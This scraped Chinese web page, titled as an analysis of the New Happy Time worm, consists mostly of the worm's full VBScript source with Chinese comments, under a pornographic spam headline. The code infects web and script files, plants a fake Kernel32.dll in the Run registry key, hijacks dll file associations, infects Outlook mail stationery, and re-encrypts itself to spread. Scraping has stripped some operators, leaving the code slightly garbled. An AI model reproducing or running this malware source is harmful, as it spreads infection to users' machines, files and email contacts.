亚洲特级无码黄色视频,成人无码WWW免费视频樱花

主頁 > 知識庫 > 新歡樂時光代碼分析

新歡樂時光代碼分析

%
Dim InWhere, HtmlText, VbsText, DegreeSign, AppleObject, FSO, WsShell, WinPath, SubE, FinalyDisk

Sub KJ_start()
    ' 初始化變量
    KJSetDim()
    ' 初始化環(huán)境
    KJCreateMilieu()
    ' 感染本地或者共享上與html所在目錄
    KJLikeIt()
    ' 通過vbs感染Outlook郵件模板
    KJCreateMail()
    ' 進行病毒傳播
    KJPropagate()
End Sub

' 函數(shù)：KJAppendTo(FilePath,TypeStr)
' 功能：向指定類型的指定文件追加病毒
' 參數(shù)：
' FilePath 指定文件路徑
' TypeStr 指定類型

Function KJAppendTo(FilePath, TypeStr)
    On Error Resume Next
    ' 以只讀方式打開指定文件
    Set ReadTemp = FSO.OpenTextFile(FilePath, 1)
    ' 將文件內(nèi)容讀入到TmpStr變量中
    TmpStr = ReadTemp.ReadAll
    ' 判斷文件中是否存在"KJ_start()"字符串，若存在說明已經(jīng)感染，退出函數(shù)；
    ' 若文件長度小于1，也退出函數(shù)。
    If InStr(TmpStr, "KJ_start()") > 0 Or Len(TmpStr)  1 Then
        ReadTemp.Close
        Exit Function
    End If
    ' 如果傳過來的類型是"htt"
    ' 在文件頭加上調(diào)用頁面的時候加載KJ_start()函數(shù);
    ' 在文件尾追加html版本的加密病毒體。
    ' 如果是"html"
    ' 在文件尾追加調(diào)用頁面的時候加載KJ_start()函數(shù)和html版本的病毒體;
    ' 如果是"vbs"
    ' 在文件尾追加vbs版本的病毒體
    If TypeStr = "htt" Then
        ReadTemp.Close
        Set FileTemp = FSO.OpenTextFile(FilePath, 2)
        FileTemp.Write ""  "BODY onload="""
         "vbscript:"  "KJ_start()"""  ">"  vbCrLf  TmpStr  vbCrLf  HtmlText
        FileTemp.Close
        Set FAttrib = FSO.GetFile(FilePath)
        FAttrib.Attributes = 34
    Else
        ReadTemp.Close
        Set FileTemp = FSO.OpenTextFile(FilePath, 8)
        If TypeStr = "html" Then
            FileTemp.Write vbCrLf  ""  "HTML>"  vbCrLf  ""
             "BODY onload="""  "vbscript:"  "KJ_start()"""  ">"  vbCrLf  HtmlText
        ElseIf TypeStr = "vbs" Then
            FileTemp.Write vbCrLf  VbsText
        End If
        FileTemp.Close
    End If
End Function

' 函數(shù)：KJChangeSub(CurrentString,LastIndexChar)
' 功能：改變子目錄以及盤符
' 參數(shù)：
' CurrentString 當(dāng)前目錄
' LastIndexChar 上一級目錄在當(dāng)前路徑中的位置

Function KJChangeSub(CurrentString, LastIndexChar)
    ' 判斷是否是根目錄
    If LastIndexChar = 0 Then
        ' 如果是根目錄
        ' 如果是C:\，返回FinalyDisk盤，并將SubE置為0，
        ' 如果不是C:\，返回將當(dāng)前盤符遞減1，并將SubE置為0
        If Left(LCase(CurrentString), 1) =  LCase("c") Then
            KJChangeSub = FinalyDisk  ":\"
            SubE = 0
        Else
            KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1)  ":\"
            SubE = 0
        End If
    Else
        ' 如果不是根目錄，則返回上一級目錄名稱
        KJChangeSub = Mid(CurrentString, 1, LastIndexChar)
    End If
End Function

' 函數(shù)：KJCreateMail()
' 功能：感染郵件部分

Function KJCreateMail()
    On Error Resume Next
    ' 如果當(dāng)前執(zhí)行文件是"html"的，就退出函數(shù)
    If InWhere = "html" Then
        Exit Function
    End If
    ' 取系統(tǒng)盤的空白頁的路徑
    ShareFile = Left(WinPath, 3)  "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
    ' 如果存在這個文件，就向其追加html的病毒體
    ' 否則生成含有病毒體的這個文件
    If (FSO.FileExists(ShareFile)) Then
        Call KJAppendTo(ShareFile, "html")
    Else
        Set FileTemp = FSO.OpenTextFile(ShareFile, 2, true)
        FileTemp.Write ""  "HTML>"  vbCrLf  ""  "BODY onload="""  "vbscript:"  "KJ_start()"""  ">"  vbCrLf  HtmlText
        FileTemp.Close
    End If
    ' 取得當(dāng)前用戶的ID和OutLook的版本
    DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
    OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
    ' 激活信紙功能，并感染所有信紙
    WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"DefaultId"\Software\Microsoft\Outlook Express\" Left(OutLookVersion, 1) ".0\Mail\Compose Use Stationery", 1, "REG_DWORD"
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"DefaultId"\Software\Microsoft\Outlook Express\" Left(OutLookVersion, 1) ".0\Mail\Stationery Name", ShareFile)
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"DefaultId"\Software\Microsoft\Outlook Express\" Left(OutLookVersion, 1) ".0\Mail\Wide Stationery Name", ShareFile)
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery", "blank")
    KJummageFolder(Left(WinPath, 3)  "Program Files\Common Files\Microsoft Shared\Stationery")
End Function

' 函數(shù):KJCreateMilieu()
' 功能：創(chuàng)建系統(tǒng)環(huán)境

Function KJCreateMilieu()
    On Error Resume Next
    TempPath = ""
    ' 判斷操作系統(tǒng)是NT/2000還是9X
    If Not(FSO.FileExists(WinPath  "WScript.exe")) Then
        TempPath = "system32\"
    End If
    ' 為了文件名起到迷惑性，并且不會與系統(tǒng)文件沖突。
    ' 如果是NT/2000則啟動文件為system\Kernel32.dll
    ' 如果是9x啟動文件則為system\Kernel.dll
    If TempPath = "system32\" Then
        StartUpFile = WinPath  "SYSTEM\Kernel32.dll"
    Else
        StartUpFile = WinPath  "SYSTEM\Kernel.dll"
    End If
    ' 添加Run值，添加剛才生成的啟動文件路徑
    WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32", StartUpFile
    ' 拷貝前期備份的文件到原來的目錄
    FSO.CopyFile WinPath  "web\kjwall.gif", WinPath  "web\Folder.htt"
    FSO.CopyFile WinPath  "system32\kjwall.gif", WinPath  "system32\desktop.ini"
    ' 向%windir%\web\Folder.htt追加病毒體
    Call KJAppendTo(WinPath  "web\Folder.htt", "htt")
    ' 改變dll的MIME頭
    ' 改變dll的默認(rèn)圖標(biāo)
    ' 改變dll的打開方式
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\", "dllfile"
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type", "application/x-msdownload"
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\", WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\", "VBScript"
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\", WinPath  TempPath  "WScript.exe ""%1"" %*"
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\", "{60254CA5-953B-11CF-8C96-00AA00B8708C}"
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\", "{85131631-480C-11D2-B1F9-00C04F86C324}"
    ' 啟動時加載的病毒文件中寫入病毒體
    Set FileTemp = FSO.OpenTextFile(StartUpFile, 2, true)
    FileTemp.Write VbsText
    FileTemp.Close
End Function

' 函數(shù)：KJLikeIt()
' 功能：針對html文件進行處理，如果訪問的是本地的或者共享上的文件，將感染這個目錄

Function KJLikeIt()
    ' 如果當(dāng)前執(zhí)行文件不是"html"的就退出程序
    If InWhere > "html" Then
        Exit Function
    End If
    ' 取得文檔當(dāng)前路徑
    ThisLocation = document.location
    ' 如果是本地或網(wǎng)上共享文件
    If Left(ThisLocation, 4) = "file" Then
        ThisLocation = Mid(ThisLocation, 9)
        ' 如果這個文件擴展名不為空，在ThisLocation中保存它的路徑
        If FSO.GetExtensionName(ThisLocation) > "" Then
            ThisLocation = Left(ThisLocation, Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
        End If
        ' 如果ThisLocation的長度大于3就尾追一個"\"
        If Len(ThisLocation) > 3 Then
            ThisLocation = ThisLocation  "\"
        End If
        ' 感染這個目錄
        KJummageFolder(ThisLocation)
    End If
End Function

' 函數(shù)：KJMailReg(RegStr,FileName)
' 功能：如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名
' 參數(shù)：
' RegStr 注冊表指定鍵值
' FileName 指定文件名

Function KJMailReg(RegStr, FileName)
    On Error Resume Next
    ' 如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名
    RegTempStr = WsShell.RegRead(RegStr)
    If RegTempStr = "" Then
        WsShell.RegWrite RegStr, FileName
    End If
End Function

' 函數(shù)：KJOboSub(CurrentString)
' 功能：遍歷并返回目錄路徑
' 參數(shù)：
' CurrentString 當(dāng)前目錄

Function KJOboSub(CurrentString)
    SubE = 0
    TestOut = 0
    Do While True
        TestOut = TestOut + 1
        If TestOut > 28 Then
            CurrentString = FinalyDisk  ":\"
            Exit Do
        End If
        On Error Resume Next
        ' 取得當(dāng)前目錄的所有子目錄，并且放到字典中
        Set ThisFolder = FSO.GetFolder(CurrentString)
        Set DicSub = CreateObject("Scripting.Dictionary")
        Set Folders = ThisFolder.SubFolders
        FolderCount = 0
        For Each TempFolder in Folders
            FolderCount = FolderCount + 1
            DicSub.Add FolderCount, TempFolder.Name
        Next
        ' 如果沒有子目錄了，就調(diào)用KJChangeSub返回上一級目錄或者更換盤符，并將SubE置1
        If DicSub.Count = 0 Then
            LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
            SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
            CurrentString = KJChangeSub(CurrentString, LastIndexChar)
            SubE = 1
        Else
            ' 如果存在子目錄
            ' 如果SubE為0，則將CurrentString變?yōu)樗牡?個子目錄
            If SubE = 0 Then
                CurrentString = CurrentString  DicSub.Item(1)  "\"
                Exit Do
            Else
                ' 如果SubE為1，繼續(xù)遍歷子目錄，并將下一個子目錄返回
                j = 0
                For j = 1 To FolderCount
                    If LCase(SubString) = LCase(DicSub.Item(j)) Then
                        If j  FolderCount Then
                            CurrentString = CurrentString  DicSub.Item(j + 1)  "\"
                            Exit Do
                        End If
                    End If
                Next
                LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
                SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
                CurrentString = KJChangeSub(CurrentString, LastIndexChar)
            End If
        End If
    Loop
    KJOboSub = CurrentString
End Function

' 函數(shù)：KJPropagate()
' 功能：病毒傳播

Function KJPropagate()
    On Error Resume Next
    RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
    DiskDegree = WsShell.RegRead(RegPathvalue)
    ' 如果不存在Degree這個鍵值，DiskDegree則為FinalyDisk盤
    If DiskDegree = "" Then
        DiskDegree = FinalyDisk  ":\"
    End If
    ' 繼DiskDegree置后感染5個目錄
    For i = 1 To 5
        DiskDegree = KJOboSub(DiskDegree)
        KJummageFolder(DiskDegree)
    Next
    ' 將感染記錄保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"鍵值中
    WsShell.RegWrite RegPathvalue, DiskDegree
End Function

' 函數(shù)：KJummageFolder(PathName)
' 功能：感染指定目錄
' 參數(shù)：
' PathName 指定目錄

Function KJummageFolder(PathName)
    On Error Resume Next
    ' 取得目錄中的所有文件集
    Set FolderName = FSO.GetFolder(PathName)
    Set ThisFiles = FolderName.Files
    HttExists = 0
    For Each ThisFile In ThisFiles
        FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
        ' 判斷擴展名
        ' 若是HTM,HTML,ASP,PHP,JSP則向文件中追加HTML版的病毒體
        ' 若是VBS則向文件中追加VBS版的病毒體
        ' 若是HTT,則標(biāo)志為已經(jīng)存在HTT了
        If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
            Call KJAppendTo(ThisFile.Path, "html")
        ElseIf FileExt = "VBS" Then
            Call KJAppendTo(ThisFile.Path, "vbs")
        ElseIf FileExt = "HTT" Then
            HttExists = 1
        End If
    Next
    ' 如果所給的路徑是桌面，則標(biāo)志為已經(jīng)存在HTT了
    If (UCase(PathName) = UCase(WinPath  "Desktop\")) Or (UCase(PathName) = UCase(WinPath  "Desktop"))Then
        HttExists = 1
    End If
    ' 如果不存在HTT
    ' 向目錄中追加病毒體
    If HttExists = 0 Then
        FSO.CopyFile WinPath  "system32\desktop.ini", PathName
        FSO.CopyFile WinPath  "web\Folder.htt", PathName
    End If
End Function

' 函數(shù)KJSetDim()
' 定義FSO,WsShell對象
' 取得最后一個可用磁盤卷標(biāo)
' 生成傳染用的加密字串
' 備份系統(tǒng)中的web\folder.htt和system32\desktop.ini

Function KJSetDim()
    On Error Resume Next
    Err.Clear

    ' 測試當(dāng)前執(zhí)行文件是html還是vbs
    TestIt = WScript.ScriptFullname
    If Err Then
        InWhere = "html"
    Else
        InWhere = "vbs"
    End If

    ' 創(chuàng)建文件訪問對象和Shell對象
    If InWhere = "vbs" Then
        Set FSO = CreateObject("Scripting.FileSystemObject")
        Set WsShell = CreateObject("WScript.Shell")
    Else
        Set AppleObject = document.applets("KJ_guest")
        AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
        AppleObject.createInstance()
        Set WsShell = AppleObject.GetObject()
        AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
        AppleObject.createInstance()
        Set FSO = AppleObject.GetObject()
    End If
    Set DiskObject = FSO.Drives
    ' 判斷磁盤類型
    '
    ' 0: Unknown
    ' 1: Removable
    ' 2: Fixed
    ' 3: Network
    ' 4: CD-ROM
    ' 5: RAM Disk
    ' 如果不是可移動磁盤或者固定磁盤就跳出循環(huán)?？赡茏髡呖紤]的是網(wǎng)絡(luò)磁盤、CD-ROM、RAM Disk都是在比較靠后的位置。呵呵，如果C:是RAMDISK會怎么樣？
    For Each DiskTemp In DiskObject
        If DiskTemp.DriveType > 2 And DiskTemp.DriveType > 1 Then
            Exit For
        End If
        FinalyDisk = DiskTemp.DriveLetter
    Next

    ' 此前的這段病毒體已經(jīng)解密，并且存放在ThisText中，現(xiàn)在為了傳播，需要對它進行再加密。
    ' 加密算法
    Dim OtherArr(3)
    Randomize
    ' 隨機生成4個算子
    For i = 0 To 3
        OtherArr(i) = Int((9 * Rnd))
    Next
    TempString = ""
    For i = 1 To Len(ThisText)
        TempNum = Asc(Mid(ThisText, i, 1))
        '對回車、換行(0x0D,0x0A)做特別的處理
        If TempNum = 13 Then
            TempNum = 28
        ElseIf TempNum = 10 Then
            TempNum = 29
        End If
        '很簡單的加密處理，每個字符減去相應(yīng)的算子，那么在解密的時候只要按照這個順序每個字符加上相應(yīng)的算子就可以了。
        TempChar = Chr(TempNum - OtherArr(i Mod 4))
        If TempChar = Chr(34) Then
            TempChar = Chr(18)
        End If
        TempString = TempString  TempChar
    Next
    ' 含有解密算法的字串
    UnLockStr = "Execute(""Dim KeyArr(3),ThisText""vbCrLf""KeyArr(0) = "  OtherArr(0)  """vbCrLf""KeyArr(1) = "  OtherArr(1)  """vbCrLf""KeyArr(2) = "  OtherArr(2)  """vbCrLf""KeyArr(3) = "  OtherArr(3)  """vbCrLf""For i=1 To Len(ExeString)""vbCrLf""TempNum = Asc(Mid(ExeString,i,1))""vbCrLf""If TempNum = 18 Then""vbCrLf""TempNum = 34""vbCrLf""End If""vbCrLf""TempChar = Chr(TempNum + KeyArr(i Mod 4))""vbCrLf""If TempChar = Chr(28) Then""vbCrLf""TempChar = vbCr""vbCrLf""ElseIf TempChar = Chr(29) Then""vbCrLf""TempChar = vbLf""vbCrLf""End If""vbCrLf""ThisText = ThisText  TempChar""vbCrLf""Next"")"  vbCrLf  "Execute(ThisText)"
    ' 將加密好的病毒體復(fù)制給變量 ThisText
    ThisText = "ExeString = """  TempString  """"
    ' 生成html感染用的腳本
    HtmlText = ""  "script language=vbscript>"  vbCrLf  "document.write "  """"  ""  "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>"  """"""  "APPLET NAME=KJ""""_guest HEIGHT=0 WIDTH=0 code=com.ms.""""activeX.Active""""XComponent>"  ""  "/APPLET>"  ""  "/div>"""  vbCrLf  ""  "/script>"  vbCrLf  ""  "script language=vbscript>"  vbCrLf  ThisText  vbCrLf  UnLockStr  vbCrLf  ""  "/script>"  vbCrLf  ""  "/BODY>"  vbCrLf  ""  "/HTML>"
    ' 生成vbs感染用的腳本
    VbsText = ThisText  vbCrLf  UnLockStr  vbCrLf  "KJ_start()"
    ' 取得Windows目錄
    ' GetSpecialFolder(n)
    ' 0: WindowsFolder
    ' 1: SystemFolder
    ' 2: TemporaryFolder
    ' 如果系統(tǒng)目錄存在web\Folder.htt和system32\desktop.ini，則用kjwall.gif文件名備份它們。
    WinPath = FSO.GetSpecialFolder(0)  "\"
    If (FSO.FileExists(WinPath  "web\Folder.htt")) Then
        FSO.CopyFile WinPath  "web\Folder.htt", WinPath  "web\kjwall.gif"
    End If
    If (FSO.FileExists(WinPath  "system32\desktop.ini")) Then
        FSO.CopyFile WinPath  "system32\desktop.ini", WinPath  "system32\kjwall.gif"
    End If
End Function
%>

標(biāo)簽：紅河河源忻州哈密沈陽青海阜陽無錫

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《新歡樂時光代碼分析》，本文關(guān)鍵詞新歡樂,新,歡樂,時光,代碼,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請?zhí)峁┫嚓P(guān)信息告之我們，我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。